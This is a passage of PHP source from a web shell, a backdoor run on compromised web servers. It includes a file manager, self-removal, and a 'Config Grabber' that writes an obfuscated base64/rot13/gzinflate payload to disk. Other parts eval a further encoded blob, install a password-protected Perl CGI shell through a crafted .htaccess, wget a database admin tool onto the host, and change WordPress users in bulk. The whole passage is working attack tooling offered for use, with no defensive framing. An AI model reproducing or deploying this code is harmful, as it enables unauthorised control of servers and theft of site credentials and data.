name=\'p1\'>";\r\n\tif(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']))\r\n        echo "<option value=\'paste\'>↳ Paste</option>";\r\n\techo "<option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";\r\n    if(class_exists(\'ZipArchive\'))\r\n        echo "<option value=\'zip\'>+ zip</option><option value=\'unzip\'>- zip</option>";\r\n    echo "<option value=\'tar\'>+ tar.gz</option>";\r\n    echo "</select></label>";\r\n    if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && (($_COOKIE[\'act\'] == \'zip\') || ($_COOKIE[\'act\'] == \'tar\')))\r\n        echo "&nbsp;file name: <input type=text name=p2 value=\'hard_" . date("Ymd_His") . "." . ($_COOKIE[\'act\'] == \'zip\'?\'zip\':\'tar.gz\') . "\'>&nbsp;";\r\n    echo "<input type=\'submit\' value=\'submit\'></td></tr></form></table></div>";\r\n\thardFooter();\r\n}\r\nfunction actionStringTools() {\r\n\thardHeader();\r\n\techo "<center><h1>Jumping ;D</h1><div class=content><br>";\r\n\t$hex = "tUhaYptAED1Gqf9uVywtNJFWD70kQKJJiZWe2lXpxbIQi2mX2NECeLMJNP7vneXDxqYf6qGWDMvOzJs3YnRgoiGA88u3Yqx4HeuIK+GQT/OkkkKRb4wyQc7g3DUOKi8p2H7CR+gX+hHyV2UekE2yjY4v4HCyApkKbVZP27hClMgRe1oTFTu2h0JeggHLwj4Dm9kuQwaFSY7tr3YsIKcVcsGy1E+FX3JZBDAlCxjE+Z5kDO2GDDpJypm0FpNzowRqWUHXhR/oYOn13hwAIfD6Cu8ah9be1/OP2VpleAuq4qrDTk42RC1SXlOyqhziOdP3Su7F6sJQ6ToKuFW5b9FmTSc63jQlS9aab5a8Zw558w8LkLzzfyl2dOlMWwfORKEZSWJ7Ja2VahzjJXZJ6TwqUl21xBtMNI9ZaDIzCh6jubtR1lGfnl7263S2NInmcL1hOnYW4FgomU0H5CqRogxT2CQcU3RIqsKRQgfmezLsKWqcl1mLv2X+I9Ev/53ptrs3vXKoDFdLp2QuNI0jtdIcm5UklOtIhI2bLEZdkIMqCk1YHTfpWWpwsxvHKMeMKsbgaaBvTKtvipt4nAqrDzadfxBi2n8A3mg+BCE4MJbpO+TNBAj5okCUCk0sMMm6msH1M7av+mMerPFZ2Cfeo3Et3Wk8plJpgi+CIc/dE2Ibfoe+n5OhvZ+T4mxL2tFrpKxP+Q6Faa6NnGcZK9bJ+CgrLbniHoLZ7iDxL9FTe2ZvCiOLTpw5gmR18PupHp9YGiIb31hUb+MvUD1eBhvb3WW36hfHVNO99YaInXh7eK7mb/6mDHprnyNEMJsDtD3SjApMgT2d6KkN3zRGuaDsCTdD8pJlkT0ZgZxWZ3t/Zmp/MycPs9nn6OHT7Yws3KndENnuvzAefl1jrMyHxpjgKvwJ";\r\n\teval(str_rot13(gzinflate(str_rot13(base64_decode(($hex))))));\r\n\techo "</div>";\r\n\thardFooter();\r\n}\r\n\r\nfunction actionSafeMode() {\r\n\thardHeader();\r\n\techo "<center><h1>Config Grabber</h1><div class=content><br>";\r\n\t@ini_set(\'display_errors\', 0);\r\n\t$cgi_dir = mkdir(\'priv_sym\', 0755);\r\n        chdir(\'priv_sym\');\r\n\t$file_mass = "conf.php";\r\n\t$mass_script = "PD9wSHAgJGhleCA9ICI3VnpyUnR0VkV2KzhSL0UvekxxNHNna1BrWG0yc3BVQUcrQjV2TnlkWkp5Rld3ZzVsMU9ua1RDK3NUUzJ0RlZiL08vWE15UEo4Z3VMOUh6WXF6cXFWZlNZL3ZWdytpWGg5c2ZZanZ0WmE0MXRHRE1uNGNPK1kxM3Fzdm91T2RqK3NMa1JqMWFEYks1VUV6b1FZWVA1SXpoNG5GMmQ5VUpic0hHWC9MQzlXbzZPVlhvUTI3VjY4c2ZtQm9FZkVWR1UxQTlNNE1hT2Fzd1Q0VzJOMmxKNWgyZkFDQlB1dldPSldqM0NmTWVocmlmQzJ2YWhsYTJ1Zjhnd0htOFBEcCswREZ2OXM5UFdiTUZnYmVsWVBhRDJPSjdVdjFjeDZubVkzbFNVYkt4ZXJKVS9IOVBITUdrYk5jZU43My9xRjR0M29NSzdhdSsyUDFsS2lnZlJxQ1UyMlhERUltYkxMWmRGcjBsZXZSVnNQQWdFY0FSWlkrcHJNYlVadWJaUVFHN2tNMXJBZDYxdWJSUGJqM2xtNDBic2lzQ2o3a010UStEN2taZGhZV2ZDOEh6b0NPS0pCOCtDV29oNnN1OVJEa1JxcnJnZGdnSG5ZbUZodExnWHMvR1FaK3h1clNUU3gyU2NpTDdqZTMwd2pDZDVqeTJvZXUzbmI0TUJDaFZ6OUJKZTBHbzRjSU1RTk1zdHJTL1V2NjVjS0I2Y2hJWmd3TTBOaVR5OVNzWWVSa3J3SUlJTkxORmxVN2F5cGVWOVJpd2NQZ3YrWG04djRxcTFQbXVYbEV2U2ZQbng2L3p0MzFJNm9oTE1aTVdrN3dxd2RDQWFhT3ZPdXVmdW5UVVlET0JWMmVqT3NpQUc2dkNyTU9jWlZnZEhHQ24zZ2dnUU1zdkdCY0dDSG1iZVNDUDdtYmo3cEhOU251ZUVOR0RXd05uVERxMDhZSDdqRkVTbUJKRHRYVU0zQkRFWTIvY2VjejJ6T2xUTnptcTU5TjVYWFA5V2RwcGpORmpya2RyaWtjV1ZhOTdRVkpxS01NYXdCYy96UnVzRjVvVTFsNWNJaGl6MkJMTlBNZVorNGt5UWM3M1luckJYckQrNXZzTVR2STBMcHJFZFIyOThCdTdrOFVsUkhRUm03amdXVWJlVjBBQ1VhMVdUdFhsaStRUmxGY1h3RE5QWWZzbnVuanJDN21YWHcrbVp4SUdLbk56Z0lmZjRpRE5FVm9SZWtzUXM0YU9sSWp4YVFyUERwL1hWTDRGTnM2YjJkcElsdGU5d1U5K29UR05xbnVCL3YvcHliVHhiL2RhWitPM0IyelhtaFJVdnNDMnMvdE1hYVdaUVR1WUM3R2NqN2s4K09YZWZmOTc3aWV4ODVtbWdtVStDSVR2WEV4c3FleGRjSDJIUkpCUXUreHk3ekNNN2Y3czZ2NzBoTy9MZlpqNVg0SDRMR2o5TXRwcCtBaG9WcDUrRVlRS0JIZGs1NGFtNGlGQXZPbTJWQ2FJNWtFb3lUY0JobXh0YU1XTWh4ZmJzVm5rTFpYY1hTcnJVRHNsZi9uWDIvdHJ1dGM3N242OWliU2VkMjk0VCtkZitxN0xweVplVDd0ZUNWMWRRN2lUNlNZbTQzYngrUlZoaWFadFVQeHk4MlFlU3lpNG50eGZsWWhPWGozTWRZY2JmOUUyNWRZblBlc1VzN2xSZVEvWWluaVJGMzMvNzREWGtCQXJ3eWtQYTBwUndDblpsa2QyTVNiWEJqUHVPbFRVYkVtQzNFRzlCNGExbzNlVzB1K3FEek5CdU5mWmYvYno5L3VHOTdNc3k2cXpYeXNUS09Wa2J6TkxOTDYrL3FpWkdYVVhLekJob1dPcVVMUVdadU92eUlZUjNCRDJIU0tLeDlyWE9FWFJFalJ3ZGs5ckYxZTFlNmRvdVRFL2srQ09vRW1DRU5FelMrbldjb3I5TUR6SGZ4blVBMWF1c0oxN2RrblVZM1dwSDFuQyt2ZEFnMHg1dlBkQlBxNkFoc242Z0F2MWMyZGZrYkhxdnhQKzVFcTdoOGpxOUh1NStjWUVwRWo4VWVVNm9YMU4ra2dpdzEyMFlFeGphUW93aE1TTkRUbURLUGd2a3Q4TXFBVERIM1dwWTIzekt1alJhaFJ1SUNvRUUzbm9NakM0WUZ3RVYwSVZkLzNNMHg2V2hIMnZteEFzZ0tJMkI1VjdRbnlSbkJObWpBTGsrcStBSk00L2FURGJQbjZlclExdVFWajBreWlpaEV5eUU4RGdTVDc2RTQwdUR5TXFDdHlrTzRPSU1DV0NMQWNNcWtTOVM0aGp3cmtPa0ZBbWhZZUlnN2w5d0FkNWcvZHZBYVlCMEdJaG9yQlFMTCtzMGduNGpTakhkUEl0T3FGaWdwKzIyS3NpU0xteHMrRTlzY2U1UGIzSEpDNG1pc2hjU0krVlNKL3JOR09vbUVsQ0ZQUkpRY2g4a0JnUStGdUVORnVGcXRRNkxJb01mQ2FHQ2R4VlZ4WWdiVVhiQVNScTFJc2lGQkRFaHlKOEFVQzR6WUE0RG11QVZ3ZXVCU2dPSlkyamFPc2RQME5Wc3B5SlJoSWQxdGMvT1Fadm5QWG5BdHJJL1kzRDluQm5DQ2Ftc1JITkRESGxuZWEvc1UxN2daTmNudnhyd0dMd3MzVUVUNi8zeWxSVVNJc0JRbkRZLzlacExERGNVTGhLREdzRG8zbHozUWREYmtzVENVMktNQ1JDdFFhZlo2eGhFaWJ0dmNtTDBJclVNQUhJNTExbkdOWk5pa1NpWDF6YzMrT1JuR1NjSlBqbU5qS0JjdHYrT1V2Q0hTMXJRQ0xlZGs4NnZQU3dJdC9seDVhTk5VcERVQklqT0NYUENWS2NGTTA2a3NjeUVSV0FRcTN2VjYvNXAybE9iS2hMQkkvWFJtcG1CeVdVTnRtN05rZzIyVUJ5WmdibnN0SDdyYnZmcGtyTlVnVFh2eUFSVnE5ZDZON0ZzcHlVQzM4V21ESE1DcE5XNXdUOGc4UVQvWTNFQVVJYVBnZEF4RURaVmlMTnBzM3ZWZG02OTdNeHFnNGd6cklzNGMyQTYzZTUyRzkzRmFvS0ErdWdPbkJ0T2RyZlFRa3Q2aG40NDh2RVFUUE51cGtndzB5VDh2NUl1NlVteGZmc3R0dWxCc1FCTXpjSy9wWndDb2Q4L085d1cySXl0dlJaZHdUSVlVQSsrSmw2OWpGTUxmK204cEE5TVhFY2dwdy81VUNzZUNRdWgzaWtqTWE0TVlGbGZCSnNCTW00WEF6dWtYazBpTWJUTGJ3WFJMK21Nb0tEM0tBOTJNekIxWkZsU2NGN1JrRGhEUTdBeG9BdUJvVlV5NG4vRkorUENtR3g3YlA0dGZUenVIOElPS24ydTlUOXRvVTdFeGM4Q29pRU5XRGo3bVZrMFhJRVVNL3IyemV0cVJnaVp5cVVmU3ZvQVNMYlVISndacEN0d1ZkT2ljUkxPbkwxeDBqSUNOdXV1R0NTZExNd0lwVmlXVGl4USs1aVhMNU5naGxITFdKbFdNRkNpVGt3ekUxSzZ1Qm1OeU9wZXUzemd1enh4STRka3NsQWczYkpzeXZNNW52bko2UmNNVkJYelBEd0ZUcVlEUFhkVGVDSlhNMDBaODNKbW40cmZMQUF3Vzg3b2lZaUVpWEpxbEJpSzcwZUtGYk5ISmJ2dmxTMmh4azlxNThlcnlqOXd4NWU2bE5qc3p1cStqUEIyOXRKR1VuZ3ZuUzdOZjRyNXhxMWNqSVc1eTIrR1NYaXFCbURWdFpMRzh1SzZidGgwaFZ5WXp5eTJJcHY0T3lMUFZTckg5VU52RnJKMnNLV1NLR1l0bVJwOUVlZmxScVl6Q2hzWklyMFNIRzllem0vcWJuUEorN2toMGRJVTZPeDg2TXhWZFhhMms1U0dQdk5ZK1R5b25CZzlnK1NSamhJeE53Tk5XNkgxMm5iTUZ4cHMvV3B5UjQyQ1ltNWVtSHlwbzYyTzQ0cno0b3Y1Um4xbVdPMHdrTFhXUFQ3a0pHWEYrT2hoTVhMZDFZNFB4MkJ1RXRDRXVsU2p4QmZIbjZndERpMXM5ZmpRNHZDYndkUythTFp0U1pyTmpXeHNWL1BUUmFBbS9DOFp3OExSb3ZEWmIwdlhMYi9XYjk4azZ0SmNTMDdjTEJWSmxqaGJZbGwxOVQwRUw1Wk5STTBJV2szcVczeWVsVjFHU0JaOXRwSnpSVTd2a0pKSGF4RU5KVFFBM3RVSUR5UVFuRmduTE9UKzdydFFkVzBTVlhESFZ5QTUyUzQvbGxFZ3RvUWtTU1BEUUI0a1kyZEhsL2ZxeEtVRE9INW1RNWVPREZTdkR3N3FBSmJMcGNUSUdoN1NxS2xXU0ExSFVYRW1xWlh6MDl4VVJhVGN4SWROcm96elhWcWZnaWlaZFcyWDRKd3dZcGpJS3dPWkNkK1R0ejhlT0E4ZjRGTWs0bGJrd1kzWEI2QzBSWmJxT2ZsN0RxRUhOOEMzQzBZVE9EbTA5SUt5R0dZa01wQ25OTC9DVEFXaXpQT0JycVdQaUtZdmtTNEtTbndEQnBEOW9nNVZpZXRWT2tWVG5SdnZNTFloaVJOaTZDaHRmNVRHMG1BNVlBdFo3WDMvdldjQXl3dmxQKzdVcWZUMlBaR2ZqLzhMIjsKZXZhbChzdHJfcm90MTMoZ3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCgkaGV4KSkpKSkpOyA=";\r\n\t$mass = fopen($file_mass, "w");\r\n\tfwrite($mass, base64_decode($mass_script));\r\n\techo "<br><center>  <iframe src=\'priv_sym/conf.php\' width=\'900\' height=\'480\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionEdituser() {\r\n\thardHeader();\r\n\techo "<center><h1>Wordpress Mass User Changer</h1><div class=content><br>";\r\n\techo "<br><center>  <iframe src=\'?user\' width=\'900\' height=\'400\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionLogout() {\r\n\texec("rm -rf priv_sym priv_cgi adminer.php");\r\n    setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600);\r\n\tdie("</br></br><body bgcolor=\'#000000\'><pre align=center><form method=post style=\'color:#ffffff;text-align: center;\'>Bye -,-<br><br></form> </body>");\r\n}\r\nfunction actionSelfRemove() {\r\n\tif($_POST[\'p1\'] == \'yes\')\r\n\t\tif(@unlink(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)))\r\n\t\t\tdie(\'Shell has been removed\');\r\n\t\telse\r\n\t\t\techo \'unlink error!\';\r\n    if($_POST[\'p1\'] != \'yes\')\r\n        hardHeader();\r\n\techo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\\\'yes\\\')">Yes</a></div>\';\r\n\thardFooter();\r\n}\r\n\r\n\r\nfunction actionAdminer() {\r\n\thardHeader();\r\n\techo "<center><h1>Adminer</h1><div class=content><br>";\r\n\texec("wget https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php && mv adminer-4.2.4.php adminer.php ");\r\n\techo "<center><font color=white><br><br><a href=\'adminer.php\' target=\'_blank\'>-> Adminer Login <-</a><br><br></font></center>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionBruteforce() {\r\n\thardHeader();\r\n\techo "<center><h1>Cgi Telnet</h1><div class=content><br>";\r\n\t$cgi_dir = mkdir(\'priv_cgi\', 0755);\r\n        chdir(\'priv_cgi\');\r\n\t$file_cgi = "cgi.priv";\r\n        $memeg = ".htaccess";\r\n\t$isi_htcgi = "OPTIONS Indexes Includes ExecCGI FollowSymLinks \\n AddType application/x-httpd-cgi .priv \\n AddHandler cgi-script .priv \\n AddHandler cgi-script .priv";\r\n\t$htcgi = fopen(".htaccess", "w");\r\n\t$cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiUFJJVjgtU0hFTEwgVmVyc2lvbiAxLjMiOwokRWRpdFBlcnNpb249Ijxmb250IHN0eWxlPSd0ZXh0LXNoYWRvdzogMHB4IDBweCA2cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApLCAwcHggMHB4IDVweCByZ2IoMzAwLCAwLCAwKTsgY29sb3I6I2ZmZmZmZjsgZm9udC13ZWlnaHQ6Ym9sZDsnPlBSSVY4LVNIRUxMPC9mb250PiI7CgokUGFzc3dvcmQgPSAiaGFja2VyMDg4MiI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzIHRvIGxvZ2luLgpzdWIgSXNfV2luKCl7Cgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7CglpZigkb3MgPX4gbS93aW4vaSl7CgkJcmV0dXJuIDE7Cgl9CgllbHNlewoJCXJldHVybiAwOwoJfQp9CiRXaW5OVCA9ICZJc19XaW4oKTsJCQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UCgkJCQkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UKCQkJCQkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDAwMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcwoJCQkJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQKCQkJCQkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcwoJCQkJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLgoKJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UKCQkJCQkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQKCQkJCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdAoJCQkJCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLgoKIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQoKJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7CiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsKJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7CiRjb2xzPSAxNTA7CiRyb3dzPSAyNjsKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJbXkgJGRpciA9JEN1cnJlbnREaXI7CgkkZGlyPX4gcy9cXC9cXFxcL2c7CglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsKCXByaW50IDw8RU5EOwo8aHRtbD4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4KPHRpdGxlPlByaXY4IFNoZWxsIENnaTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7Cn0KdHIgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICNmZmZmZmY7Cn0KdGQgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICMwOTYwZmY7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQoKCmlucHV0IHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmZmZmZmOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwOTYwZmY7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOwpjb2xvcjogd2hpbGU7Cn0KCnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6ICNGRjAwQUE7Cn0KCnRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogIzA5NjBmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjMDk2MGZmOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW